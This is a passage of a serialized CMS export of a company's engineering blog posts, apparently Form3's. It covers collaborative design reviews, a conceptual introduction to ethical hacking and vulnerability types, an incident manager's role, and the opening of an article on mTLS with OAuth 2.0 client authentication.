implementing individual requirements, for context.",[],{"type":1151,"text":30034,"spans":30035,"direction":445},"To serve as a record of the design of the system for reference in the future.",[],{"type":25,"text":30037,"spans":30038,"direction":445},"Whilst this worked well for 1. and 3. it turns out these documents weren't quite so good at transferring the context in my mind to engineers asynchronously. Furthermore, as I became more detached from the actual implementation of the product, sometimes unexpected issues came up during implementation that I hadn't anticipated.",[],{"type":25,"text":30040,"spans":30041,"direction":445},"As a result, we improved our design process to be more inclusive and democratic, and utilise the skills of the entire team. What we do now is:",[],{"type":1151,"text":30043,"spans":30044,"direction":445},"The product team write requirements.",[],{"type":1151,"text":30046,"spans":30047,"direction":445},"We ask for a group of volunteers from the engineering team to form a working group to review the requirements. Preferably, these volunteers would include the people likely to work on the implementation.",[],{"type":1151,"text":30049,"spans":30050,"direction":445},"We review the requirements with the working group and product team members and discuss problems and ask questions.",[],{"type":1151,"text":30052,"spans":30053,"direction":445},"The working group collectively write the technical proposal (normally with myself or a lead engineer driving the actual prose and diagrams).",[],{"type":1151,"text":30055,"spans":30056,"direction":445},"We share the proposal for feedback.",[],{"type":25,"text":30058,"spans":30059,"direction":445},"The result of this is that by the time we come to implement the requirements, they have had a lot more engineering scrutiny than before, and the context is communicated not just via the proposal, but through participation in the working group as well.",[],{"type":25,"text":30061,"spans":30062,"direction":445},"We typically end this exercise by providing a rough time estimate. We've found estimates from the working group to be much more accurate than estimates from me alone!",[],"rich_text$8895121f-a028-41aa-89aa-714b0c376192",{"variation":437,"version":438,"items":30065,"primary":30066,"id":30089,"slice_type":468,"slice_label":5},[],{"body":30067},[30068,30071,30074,30077,30080,30083,30086],{"type":988,"text":30069,"spans":30070,"direction":445},"Closing thoughts",[],{"type":25,"text":30072,"spans":30073,"direction":445},"Leading a project from inception to a large, complex build and team has been a challenge, and I continue to learn about the best ways to face the challenges it brings. However, I think the ideas in this post are some of the key ingredients to success.",[],{"type":25,"text":30075,"spans":30076,"direction":445},"The main philosophies I think are important are:",[],{"type":1151,"text":30078,"spans":30079,"direction":445},"Encourage a culture of self-organisation, where team members can operate independently without any oversight or direction.",[],{"type":1151,"text":30081,"spans":30082,"direction":445},"Seed and grow a corpus of knowledge and documentation that the team can own and maintain.",[],{"type":1151,"text":30084,"spans":30085,"direction":445},"Provide a forum for asynchronous and democratised decision making and design discussions to take place.",[],{"type":25,"text":30087,"spans":30088,"direction":445},"Whilst I'm sure there are many more best practices out there, these have certainly helped us grow a large team, and build a complex product.",[],"rich_text$a2c4dc46-64f2-45cf-9598-9eaad37785e4",{"id":30091,"uid":30092,"type":25949,"data":30093},"alz00BEAACwAUWaW","intro-ethical-hacking",{"title":30094,"excerpt":30095,"card_image":30096,"published_date":30101,"reading_time":418,"tag":25960,"dek":30095,"featured_image":30102,"about_form3":30103,"client_about_heading":5,"client_about_body":30104,"author_name":18970,"author_title":18971,"author_photo":30105,"author_bio":30108,"author_linkedin":30111,"slices":30113,"meta_title":30094,"meta_description":30095},"Introduction Ethical Hacking","No system is free of security vulnerabilities, which can be exploited to gain access to restricted resources. Ethical hackers are our allies, using the same techniques as malicious actors to help us find and fix the security vulnerabilities of our systems. In this short introductory article, we explore: the different types of hackers, the goals of ethical hacking and the main activities of ethical hackers.",{"dimensions":30097,"alt":30094,"copyright":5,"url":30098,"id":30099,"edit":30100},{"width":412,"height":412},"\u002F_prismic-media\u002F76c47ce37c16ad10-DiZd9aUUFZu5muJX_intro-ethical-hacking.png","DiZd9aUUFZu5muJX",{"x":398,"y":398,"zoom":399,"background":400},"2023-03-02",{},[],[],{"dimensions":30106,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":30107},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[30109],{"type":25,"text":25971,"spans":30110},[],{"link_type":491,"key":30112,"url":25975,"target":493},"2470217c-0573-49bc-8433-7298d94c844a",[30114,30155,30177,30195,30225,30247],{"variation":437,"version":438,"items":30115,"primary":30116,"id":30154,"slice_type":468,"slice_label":5},[],{"body":30117},[30118,30121,30127,30131,30135,30139,30143,30147,30151],{"type":988,"text":30119,"spans":30120,"direction":445},"Types of security vulnerabilities",[],{"type":25,"text":30122,"spans":30123,"direction":445},"According to online estimates, the estimated worldwide cost of cybercrime could be as high as $10.5 trillion annually by 2025. Cybercriminals are constantly on the look out for security vulnerabilities and ways to compromise systems through illegal activities such as ransomware, phishing or various types of cyberattacks.",[30124],{"start":1951,"end":871,"type":489,"data":30125},{"link_type":491,"url":30126,"target":493},"https:\u002F\u002Fcybersecurityventures.com\u002Fcybercrime-damage-costs-10-trillion-by-2025\u002F",{"type":25,"text":30128,"spans":30129,"direction":445},"A security vulnerability is a flaw or weakness in a system that can be exploited by malicious actors to gain access to restricted resources. No system is ever fully secure or free of vulnerabilities. Based on their cause, we can identify five types of security vulnerabilities:",[30130],{"start":506,"end":9799,"type":593},{"type":3373,"text":30132,"spans":30133,"direction":445},"Misconfigurations consist of the incorrect manual configuration of security policies. They are the most commonly occurring vulnerability for cloud resources and APIs.",[30134],{"start":398,"end":6911,"type":593},{"type":3373,"text":30136,"spans":30137,"direction":445},"Outdated software does not have security patches from software vendors applied to it. The system owners might be slow to apply these updates, exposing themselves to exploitation risk.",[30138],{"start":398,"end":6911,"type":593},{"type":3373,"text":30140,"spans":30141,"direction":445},"Zero-day vulnerabilities are flaws discovered by malicious actions but have not been fixed by the software vendor yet. Preventing and detecting these kinds of attacks requires a coordinated effort between the organisation and the vendor.",[30142],{"start":398,"end":9799,"type":593},{"type":3373,"text":30144,"spans":30145,"direction":445},"Compromised user credentials can be used to gain unauthorised access to the system, while appearing as a valid user. Brute force attacks can be used to break weak credentials or they can also be stolen through a previous data breach.",[30146],{"start":398,"end":9704,"type":593},{"type":3373,"text":30148,"spans":30149,"direction":445},"Network vulnerabilities are caused by exposing either the network's hardware or software through insecure access points or firewalls.",[30150],{"start":398,"end":4023,"type":593},{"type":25,"text":30152,"spans":30153,"direction":445},"All of the security vulnerabilities presented have a human element to them. The process of securing software involves a constant effort of change control and security review. The table below presents examples of each type of security vulnerability:",[],"rich_text$686773a6-fcb4-444d-b643-511313484c24",{"variation":437,"version":527,"items":30156,"primary":30157,"id":30176,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":30158,"body":30159,"cta_label":5,"cta_link":30163,"aside_type":533,"aside_image":30164,"aside_video":30171,"aside_video_poster":30172,"aside_video_reduced_motion":30173,"aside_video_url":5,"aside_embed":30174,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":30175,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[30160],{"type":25,"text":30161,"spans":30162},"Examples of each vulnerability type",[],{"link_type":434},{"dimensions":30165,"alt":5,"copyright":5,"url":30168,"id":30169,"edit":30170},{"width":30166,"height":30167},1614,1035,"\u002F_prismic-media\u002Fa3f6c14430b6582a--dpOegsdv6Nnngrp_8ec5adc6-2e09-4035-b01f-a632c0f.png","-dpOegsdv6Nnngrp",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$663c9027-5337-410b-9476-f67e4936ee8d",{"variation":437,"version":438,"items":30178,"primary":30179,"id":30194,"slice_type":468,"slice_label":5},[],{"body":30180},[30181,30184,30188,30191],{"type":988,"text":30182,"spans":30183,"direction":445},"The goal of ethical hacking",[],{"type":25,"text":30185,"spans":30186,"direction":445},"Ethical hacking is the practice of testing a system, network or service to find security vulnerabilities. Ethical hackers use the same tools and techniques as malicious hackers, but they undertake this work to support the system owners in securing their system before malicious actors exploit these vulnerabilities.",[30187],{"start":398,"end":8472,"type":593},{"type":25,"text":30189,"spans":30190,"direction":445},"While they have significant engineering knowledge and skills, ethical hackers operate under a different mindset from engineers. They analyse all possible uses of a resource or library, attempting to uncover errors.",[],{"type":25,"text":30192,"spans":30193,"direction":445},"As production systems change and evolve, new vulnerabilities can be introduced by either the system or its third-party dependencies. In effect, this means that no system is fully secured and the work of ethical hackers never stops. They keep up to date with new vulnerabilities discovered in third party tools, assessing their effect on the system they are responsible for and coordinating an action plan to minimise their effect.",[],"rich_text$27f2366f-1e5a-4642-938d-8e37cad52d7a",{"variation":437,"version":438,"items":30196,"primary":30197,"id":30224,"slice_type":468,"slice_label":5},[],{"body":30198},[30199,30202,30205,30209,30213,30217,30221],{"type":988,"text":30200,"spans":30201,"direction":445},"Activities of ethical hackers",[],{"type":25,"text":30203,"spans":30204,"direction":445},"The tools and techniques required to detect and fix system vulnerabilities vary according to the system under test. They are typically responsible for the following activities:",[],{"type":3373,"text":30206,"spans":30207,"direction":445},"Perimeter scanning: also known as external vulnerability scanning, this involves scoping the system's external network to detect if it can be accessible by malicious actors. This involves the analysis of firewalls, gateways and network infrastructure.",[30208],{"start":398,"end":2769,"type":593},{"type":3373,"text":30210,"spans":30211,"direction":445},"Penetration testing: usually performed before a service or system is live, pentesting is a targeted attack to find exploitable vulnerabilities. The scope of pentesting is very narrow, while the scope of perimeter testing is much wider.",[30212],{"start":398,"end":6262,"type":593},{"type":3373,"text":30214,"spans":30215,"direction":445},"Red teaming: the ethical hackers launch a full scale cyber attack against the system in order to check how they would respond in the case of a genuine cyber attack. They use all the techniques a real malicious actor would use, including phishing or social engineering of staff.",[30216],{"start":398,"end":602,"type":593},{"type":3373,"text":30218,"spans":30219,"direction":445},"Training: ethical hackers are also in charge of educating engineers on good security practices, pushing security best practices into the development process and enable them to take ownership of the security of their services.",[30220],{"start":398,"end":1633,"type":593},{"type":25,"text":30222,"spans":30223,"direction":445},"Red teaming is the most comprehensive hacking technique, as it tests the system as a whole, including the people using it. The table below presents a comparison of the purpose and focus of each technique:",[],"rich_text$d5d428c8-e0d1-4143-b745-d7abd4695106",{"variation":437,"version":527,"items":30226,"primary":30227,"id":30246,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":30228,"body":30229,"cta_label":5,"cta_link":30233,"aside_type":533,"aside_image":30234,"aside_video":30241,"aside_video_poster":30242,"aside_video_reduced_motion":30243,"aside_video_url":5,"aside_embed":30244,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":30245,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[30230],{"type":25,"text":30231,"spans":30232},"Purpose & focus of each ethical hacking activity",[],{"link_type":434},{"dimensions":30235,"alt":5,"copyright":5,"url":30238,"id":30239,"edit":30240},{"width":30236,"height":30237},1637,728,"\u002F_prismic-media\u002F2279dc1fd3f64a67-4MimHkRB3FwGqtsS_eab08ce0-3849-4142-aeec-343ff0b.png","4MimHkRB3FwGqtsS",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$c3d07f40-915d-4038-98e3-56ce1fbf3873",{"variation":437,"version":438,"items":30248,"primary":30249,"id":30289,"slice_type":468,"slice_label":5},[],{"body":30250},[30251,30253,30256,30259,30262,30268,30274],{"type":988,"text":28602,"spans":30252,"direction":445},[],{"type":25,"text":30254,"spans":30255,"direction":445},"Ethical hacking is an important part of keeping systems secure, as they help us identify and fix vulnerabilities before malicious actors can exploit them.",[],{"type":25,"text":30257,"spans":30258,"direction":445},"We have an amazing team of ethical hackers at Form3 to keep our systems, which have access to sensitive financial data, safe.",[],{"type":474,"text":30260,"spans":30261,"direction":445},"Further resources",[],{"type":3373,"text":30263,"spans":30264,"direction":445},"If you're interested in learning more about hacking, HackTheBox is a great way to upskill.",[30265],{"start":9312,"end":629,"type":489,"data":30266},{"link_type":491,"url":30267,"target":493},"https:\u002F\u002Fwww.hackthebox.com\u002F",{"type":3373,"text":30269,"spans":30270,"direction":445},"You can hear more about ethical hacking on our podcast.",[30271],{"start":9251,"end":3963,"type":489,"data":30272},{"link_type":491,"url":30273,"target":493},"https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-12-tech-ethical-hacking",{"type":3373,"text":30275,"spans":30276,"direction":445},"We have also published interesting articles which demonstrate hacking techniques on our blog: Phishing with GitHub, Adventures into Electron code injection on MacOS, Exploiting Distroless Images, DYLIB Injection in Golang apps on Apple silicon chips",[30277,30280,30283,30286],{"start":6779,"end":6836,"type":489,"data":30278},{"link_type":491,"url":30279,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fengineering\u002Fcontent\u002Fphishing-github",{"start":19148,"end":19962,"type":489,"data":30281},{"link_type":491,"url":30282,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fengineering\u002Fcontent\u002Felectron-injection",{"start":9156,"end":24940,"type":489,"data":30284},{"link_type":491,"url":30285,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fengineering\u002Fcontent\u002Fexploiting-distroless-images",{"start":19964,"end":20976,"type":489,"data":30287},{"link_type":491,"url":30288,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fengineering\u002Fcontent\u002Fdylib-injection-in-golang-apps","rich_text$04a4da43-0a42-4576-bb1f-044a322eead2",{"id":30291,"uid":30292,"type":25949,"data":30293},"alz0xhEAACgAUWZ_","life-of-incident-mngr",{"title":30294,"excerpt":30295,"card_image":30296,"published_date":17699,"reading_time":643,"tag":25960,"dek":30295,"featured_image":30301,"about_form3":30306,"client_about_heading":5,"client_about_body":30307,"author_name":30308,"author_title":30309,"author_photo":30310,"author_bio":30315,"author_linkedin":30325,"slices":30327,"meta_title":30294,"meta_description":30295},"What is the life of an Incident Manager?","David Macarthur gives us a peek into his life as an Incident Manager at Form3. He explains what incident management is, how to effectively prepare for incidents and the role of incident managers when incidents do occur. Investing in good Incident Management is essential to operating a good business and David shares his thoughts on how to do just that.",{"dimensions":30297,"alt":30294,"copyright":5,"url":30298,"id":30299,"edit":30300},{"width":412,"height":412},"\u002F_prismic-media\u002Fa8fdd6cd60bd51f3-9yCUlrcMgmTuetDo_life-of-incident-mngr.svg","9yCUlrcMgmTuetDo",{"x":398,"y":398,"zoom":399,"background":650},{"dimensions":30302,"alt":5,"copyright":5,"url":30303,"id":30304,"edit":30305},{"width":501,"height":646},"\u002F_prismic-media\u002F34987486c0c7e166-HOWuu74wZn8ITF5q_5bb68ae8-3608-4127-be91-01bd61e.jpg","HOWuu74wZn8ITF5q",{"x":398,"y":398,"zoom":399,"background":650},[],[],"David Macarthur","Incident Management Specialist",{"dimensions":30311,"alt":30308,"copyright":5,"url":30312,"id":30313,"edit":30314},{"width":5080,"height":26955},"\u002F_prismic-media\u002Fd4c1850f73f58780-UVBi_0Bfyem0GH4D_30637417-8d6b-4d89-8c94-3d7bfc8.jpeg","UVBi_0Bfyem0GH4D",{"x":398,"y":398,"zoom":399,"background":650},[30316,30319],{"type":25,"text":30317,"spans":30318},"David is one of our Incident Managers at Form3. He has a focus on continual improvement in our processes across the whole company. He is also passionate about accessibility, diversity, inclusion and leadership.",[],{"type":25,"text":30320,"spans":30321},"You can find David on LinkedIn where he has several articles on various topics.",[30322],{"start":7635,"end":3041,"type":489,"data":30323},{"link_type":491,"url":30324},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fdavidgmacarthur\u002F",{"link_type":491,"key":30326,"url":30324,"target":493},"1f5d6947-f7b1-46c9-8099-a376d4a50e94",[30328,30338,30359,30407,30439],{"variation":437,"version":438,"items":30329,"primary":30330,"id":30337,"slice_type":468,"slice_label":5},[],{"body":30331},[30332,30334],{"type":988,"text":12441,"spans":30333,"direction":445},[],{"type":25,"text":30335,"spans":30336,"direction":445},"My name is David Macarthur and I've been in Service Delivery for most of my working life. Specifically, I have been in Incident Management for over a decade as my speciality. I've worked with some of the big players in the space of outsourcing this specific service. So, for those who are not in this field I wanted to give a quick summary of what we do, how we do it and maybe even spark interest of someone who could pursue a career in Incident Management.",[],"rich_text$0621c583-eb30-4ce0-b367-0a84ae81a708",{"variation":437,"version":438,"items":30339,"primary":30340,"id":30358,"slice_type":468,"slice_label":5},[],{"body":30341},[30342,30345,30348,30353],{"type":988,"text":30343,"spans":30344,"direction":445},"What is Incident Management?",[],{"type":25,"text":30346,"spans":30347,"direction":445},"Before we get into what the day to day is like, let's explore what Incident Management is.",[],{"type":25,"text":30349,"spans":30350,"direction":445},"An incident in its most simple terms is anything outside of business as usual (BAU) operations that causes impact.",[30351,30352],{"start":418,"end":602,"type":593},{"start":685,"end":28611,"type":765},{"type":25,"text":30354,"spans":30355,"direction":445},"Incident Management is how we respond to that incident. It’s a response, not a reaction. Reactions are in the moment; they can be emotionally charged and leave you having to make a plan on the fly. Responding involves following a plan that Incident Managers have in place for as many scenarios as possible.",[30356,30357],{"start":398,"end":6262,"type":593},{"start":15687,"end":22191,"type":593},"rich_text$e7defa62-6e97-456f-bb50-9bb8e7046229",{"variation":437,"version":438,"items":30360,"primary":30361,"id":30406,"slice_type":468,"slice_label":5},[],{"body":30362},[30363,30366,30369,30372,30375,30378,30381,30384,30387,30391,30394,30397,30400,30403],{"type":988,"text":30364,"spans":30365,"direction":445},"Preparing for incidents",[],{"type":25,"text":30367,"spans":30368,"direction":445},"On a good day Incident Management is very much as most people’s office life:",[],{"type":1151,"text":30370,"spans":30371,"direction":445},"We have meetings about things that have happened and things that are yet to happen.",[],{"type":1151,"text":30373,"spans":30374,"direction":445},"We brainstorm ideas for process improvement. Incident Managers focus on what can go wrong and plan for a response to these possible failures.",[],{"type":1151,"text":30376,"spans":30377,"direction":445},"Waiting is much of an Incident Managers job in a well-planned out company. When everything functions as it should, Incident Managers are able to invest time into predicting what could go wrong. We do this through careful analysis of previous incidents but also just through experience and spotting holes others may miss.",[],{"type":25,"text":30379,"spans":30380,"direction":445},"For someone not involved in the incident process it may seem perfectly fine to have just a help desk to phone with a vendor, but let's consider the following scenarios:",[],{"type":1151,"text":30382,"spans":30383,"direction":445},"What happens when that line is down?",[],{"type":1151,"text":30385,"spans":30386,"direction":445},"What happens if the person is unable to get the resources they need?",[],{"type":25,"text":30388,"spans":30389,"direction":445},"That’s what Incident Managers plan for. The what-if.",[30390],{"start":2674,"end":1250,"type":765},{"type":25,"text":30392,"spans":30393,"direction":445},"From a management perspective, someone may think they have a redundant system with an automated failover so there's no need for an engineer on-call in that scenario, but this approach has downsides too:",[],{"type":1151,"text":30395,"spans":30396,"direction":445},"What if it doesn’t switch over automatically?",[],{"type":1151,"text":30398,"spans":30399,"direction":445},"Does the engineer know how to do a manual failover?",[],{"type":1151,"text":30401,"spans":30402,"direction":445},"Do engineers they know how to do it at 3am, blurry eyed having just woken up? What if they don’t?",[],{"type":25,"text":30404,"spans":30405,"direction":445},"These are the questions Incident Managers are there to ask. The answers to these questions on the days without Incidents build a strong foundation for when an incident does occur. More often than not, Incident Managers focus on building redundancy and seeing things from the perspective of an operational live service. If you ever see an Incident Manager seemingly doing nothing, know they are waiting, planning and ready.",[],"rich_text$07972445-1a9c-4dd0-8121-16550037cbc2",{"variation":437,"version":438,"items":30408,"primary":30409,"id":30438,"slice_type":468,"slice_label":5},[],{"body":30410},[30411,30414,30417,30420,30426,30429,30432,30435],{"type":988,"text":30412,"spans":30413,"direction":445},"Managing the incidents",[],{"type":25,"text":30415,"spans":30416,"direction":445},"On the days that incidents occur, Incident Managers have alerts to investigate. All of the preparation they have done kicks in and following the established plans minimise the consequences.",[],{"type":25,"text":30418,"spans":30419,"direction":445},"At Form3, this process looks like this:",[],{"type":1151,"text":30421,"spans":30422,"direction":445},"Within minutes of an alert being triggered, an Incident Manager and an engineer are paged through PagerDuty and will join a Zoom bridge.",[30423],{"start":2237,"end":782,"type":489,"data":30424},{"link_type":491,"url":30425,"target":493},"https:\u002F\u002Fwww.pagerduty.com\u002F",{"type":1151,"text":30427,"spans":30428,"direction":445},"Our engineers are spectacularly talented individuals with a wealth of experience. Their focus is on finding the root cause of the incident and investigate possible mitigations.",[],{"type":1151,"text":30430,"spans":30431,"direction":445},"The Incident Manager is free to become the voice of the customer on that call and focus on restoring service as quickly as possible.",[],{"type":1151,"text":30433,"spans":30434,"direction":445},"The engineer on-call and Incident Manager work together to assess options and make mitigation decisions. Evidence based, knowledgeable decisions from a customer perspective. Incident Managers ask questions, lean on the expertise of our engineering and product colleagues, and we make a decision.",[],{"type":25,"text":30436,"spans":30437,"direction":445},"In Incident Management, we work with the entire company, across every product we deliver to ensure when something goes wrong, we are there, we have a plan, and we get it fixed as quickly as possible.",[],"rich_text$0fcce891-c06d-40b0-bbdf-71a94988fe97",{"variation":437,"version":438,"items":30440,"primary":30441,"id":30454,"slice_type":468,"slice_label":5},[],{"body":30442},[30443,30445,30448,30451],{"type":988,"text":28602,"spans":30444,"direction":445},[],{"type":25,"text":30446,"spans":30447,"direction":445},"The cycle continues throughout the year. Following the days with Incidents and Alerts, Incident Managers review and analyse that response for any weak links to improve on. The more focus we put into this, the less incidents we have and the stronger the company gets.",[],{"type":25,"text":30449,"spans":30450,"direction":445},"Good Incident Management is a crucial part of any organisation and woe on any business who thinks they can take it for granted. One poorly managed incident can have knock-on effects for months to come, can impact a company’s reputation and even drive away a new customer.",[],{"type":25,"text":30452,"spans":30453,"direction":445},"A good company invests in good incident management and Form3 does just that!",[],"rich_text$684f9645-72d4-4db7-9912-0bc3fdcf259a",{"id":30456,"uid":30457,"type":25949,"data":30458},"alz09xEAACsAUWcr","buckle-up-your-mtls-with-oauth-2-0-client-authentication",{"title":30459,"excerpt":30460,"card_image":30461,"published_date":30466,"reading_time":1130,"tag":25960,"dek":5,"featured_image":30467,"about_form3":30468,"client_about_heading":5,"client_about_body":30469,"author_name":5,"author_title":5,"author_photo":30470,"author_bio":30471,"author_linkedin":30472,"slices":30473,"meta_title":30459,"meta_description":30460},"Buckle Up Your mTLS With OAuth 2.0 Client Authentication and Certificate-Bound Access","Application security is a persistent hot topic in the technology industry. It is quite common to use mTLS in a business-to-business application, where security is incredibly important, and which uses the zero trust security model. mTLS is also popular with microservices and service mesh to ensure that sensitive resources are not accessible to unauthorised services in the network. mTLS is a transport layer authentication protocol. In this article, Milap Neupane explains: the basics of the mTLS and OAuth 2.0 protocol, the potential drawbacks with mTLS and how OAuth 2.0 Client Authentication and Certificate-Bound Access help improve security.",{"dimensions":30462,"alt":30459,"copyright":5,"url":30463,"id":30464,"edit":30465},{"width":412,"height":412},"\u002F_prismic-media\u002Fe74b8ea157aefba9-Ws0dd2BlPXS7tViJ_buckle-up-your-mtls-with-oauth-.png","Ws0dd2BlPXS7tViJ",{"x":398,"y":398,"zoom":399,"background":400},"2022-10-13",{},[],[],{},[],{"link_type":434},[30474,30534,30549,30570,30593,30615,30658,30678,30686,30708,30716,30729,30737,30745,30753,30768,30776],{"variation":437,"version":438,"items":30475,"primary":30476,"id":30533,"slice_type":468,"slice_label":5},[],{"body":30477},[30478,30480,30489,30492,30495,30498,30501,30504,30507,30510,30516,30521,30527],{"type":988,"text":12441,"spans":30479,"direction":445},[],{"type":25,"text":30481,"spans":30482,"direction":445},"Application security is a persistent hot topic in the technology industry. It is quite common to use mTLS in a business-to-business application, where security is incredibly important, and which uses the zero trust security model. mTLS is also popular with microservices and service mesh to ensure that sensitive resources are not accessible to unauthorised services in the network. mTLS is a transport layer authentication protocol.",[30483,30486],{"start":1481,"end":3092,"type":489,"data":30484},{"link_type":491,"url":30485,"target":493},"https:\u002F\u002Fwww.cloudflare.com\u002Fen-gb\u002Flearning\u002Faccess-management\u002Fwhat-is-mutual-tls\u002F",{"start":19848,"end":3775,"type":489,"data":30487},{"link_type":491,"url":30488,"target":493},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FZero_trust_security_model",{"type":25,"text":30490,"spans":30491,"direction":445},"Working and integrating with highly secured applications I discovered about an additional layer of security on top of mTLS that would make the application truly following zero trust security model. Extending mTLS with OAuth 2.0 Client Authentication improves security for all requests.",[],{"type":25,"text":30493,"spans":30494,"direction":445},"In this article I will be explaining:",[],{"type":1151,"text":30496,"spans":30497,"direction":445},"Some of the basics of the mTLS and OAuth 2.0 protocol",[],{"type":1151,"text":30499,"spans":30500,"direction":445},"What are the potential drawbacks with mTLS",[],{"type":1151,"text":30502,"spans":30503,"direction":445},"How OAuth 2.0 Client Authentication and Certificate-Bound Access helps improve security.",[],{"type":25,"text":30505,"spans":30506,"direction":445},"After explaining the topics above I will be illustrating how OAuth 2.0 Client Authentication works with mTLS.",[],{"type":25,"text":30508,"spans":30509,"direction":445},"Prerequisite knowledge of these topics is not required, but is helpful when you are reading this article:",[],{"type":1151,"text":30511,"spans":30512,"direction":445},"OAuth 2.0",[30513],{"start":398,"end":1355,"type":489,"data":30514},{"link_type":491,"url":30515,"target":493},"https:\u002F\u002Foauth.net\u002F2\u002F",{"type":1151,"text":30517,"spans":30518,"direction":445},"Mutual Transport Layer Security(mTLS)",[30519],{"start":398,"end":846,"type":489,"data":30520},{"link_type":491,"url":30485,"target":493},{"type":1151,"text":30522,"spans":30523,"direction":445},"JSON Web Token(JWT)",[30524],{"start":398,"end":6262,"type":489,"data":30525},{"link_type":491,"url":30526,"target":493},"https:\u002F\u002Fjwt.io\u002Fintroduction",{"type":1151,"text":30528,"spans":30529,"direction":445},"JSON Web Key(JWK)",[30530],{"start":398,"end":6911,"type":489,"data":30531},{"link_type":491,"url":30532,"target":493},"https:\u002F\u002Fopenid.net\u002Fspecs\u002Fdraft-jones-json-web-key-03.html","rich_text$1850c6fb-800b-40f4-8c51-f5d514a7c963",{"variation":437,"version":438,"items":30535,"primary":30536,"id":30548,"slice_type":468,"slice_label":5},[],{"body":30537},[30538,30541,30545],{"type":988,"text":30539,"spans":30540,"direction":445},"Introduction to mTLS and OAuth 2.0",[],{"type":25,"text":30542,"spans":30543,"direction":445},"mTLS",[30544],{"start":398,"end":4603,"type":593},{"type":25,"text":30546,"spans":30547,"direction":445},"Mutual Transport Layer Security (mTLS) is a transport layer encryption protocol that authenticates both the client and server in a client-server connection, unlike TLS where only the server is authenticated. It not only authenticates the request but also encrypts the communication so that no third party can intercept the request and read the information from the request.",[],"rich_text$de80eda9-2c49-4ffa-9f10-9d9a31362cff",{"variation":437,"version":527,"items":30550,"primary":30551,"id":30569,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":30552,"body":30553,"cta_label":5,"cta_link":30557,"aside_type":533,"aside_image":30558,"aside_video":30564,"aside_video_poster":30565,"aside_video_reduced_motion":30566,"aside_video_url":5,"aside_embed":30567,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":30568,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[30554],{"type":25,"text":30555,"spans":30556,"direction":445},"In a TLS request the server has a certificate, private key, and a public key but the client does not. In case of mTLS both client and server have a certificate and the public\u002Fprivate key. Like the server, the client would also present its TLS certificate and the server would verify the certificate to grants the access.",[],{"link_type":434},{"dimensions":30559,"alt":5,"copyright":5,"url":30561,"id":30562,"edit":30563},{"width":30560,"height":3368},1553,"\u002F_prismic-media\u002Ffca10b16e33eca77-hzn2oqoElGFam8aF_cc1e4474-f96a-43bd-b40e-6eb6941.png","hzn2oqoElGFam8aF",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$104fa25f-97b0-42ac-a622-68e2b4770f37",{"variation":437,"version":438,"items":30571,"primary":30572,"id":30592,"slice_type":468,"slice_label":5},[],{"body":30573},[30574,30577,30580,30584,30588],{"type":25,"text":30511,"spans":30575,"direction":445},[30576],{"start":398,"end":1355,"type":593},{"type":25,"text":30578,"spans":30579,"direction":445},"OAuth 2.0 is an authorization framework that enables third party applications to obtain delegated access to protected resources. OAuth 2.0 protocol has three entities involved:",[],{"type":3373,"text":30581,"spans":30582,"direction":445},"Authorization server - responsible to authorize the request and grant access token",[30583],{"start":398,"end":7460,"type":593},{"type":3373,"text":30585,"spans":30586,"direction":445},"Resource server - owns and can provide the protected resource",[30587],{"start":398,"end":8472,"type":593},{"type":3373,"text":30589,"spans":30590,"direction":445},"Client - application that wants to obtain the protected resource",[30591],{"start":398,"end":2375,"type":593},"rich_text$14f62de5-17ed-403b-a718-6f50b4aba083",{"variation":437,"version":527,"items":30594,"primary":30595,"id":30614,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":30596,"body":30597,"cta_label":5,"cta_link":30601,"aside_type":533,"aside_image":30602,"aside_video":30609,"aside_video_poster":30610,"aside_video_reduced_motion":30611,"aside_video_url":5,"aside_embed":30612,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":30613,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[30598],{"type":25,"text":30599,"spans":30600,"direction":445},"The client application communicates with the authorization server to get an access token. The Authorization server validates the request and provides the token. The client can now use this token to request a protected resource from the resource server. The resource server can validate the token locally or in some case requests the authorization server to determine the state of the token and validate the request. Once validated the client is granted with the resource.",[],{"link_type":434},{"dimensions":30603,"alt":5,"copyright":5,"url":30606,"id":30607,"edit":30608},{"width":30604,"height":30605},1830,900,"\u002F_prismic-media\u002Fdbbc025f1eaf6050-iAd_AYIuY5EP4CNQ_f9009d5c-052e-4a17-a882-20f893f.png","iAd_AYIuY5EP4CNQ",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$1297dc0a-e926-4725-bf93-7306439d4cd8",{"variation":437,"version":438,"items":30616,"primary":30617,"id":30657,"slice_type":468,"slice_label":5},[],{"body":30618},[30619,30622,30637,30640,30646,30649,30653],{"type":988,"text":30620,"spans":30621,"direction":445},"Why use OAuth 2.0 with mTLS",[],{"type":25,"text":30623,"spans":30624,"direction":445},"mTLS is a highly secure transport layer protocol that protects from the attacks like request smuggling, brute force attacks, phishing attacks, and credential stuffing. Since it only provides a transport layer authentication, all the requests sent over the channel is then implicitly granted access 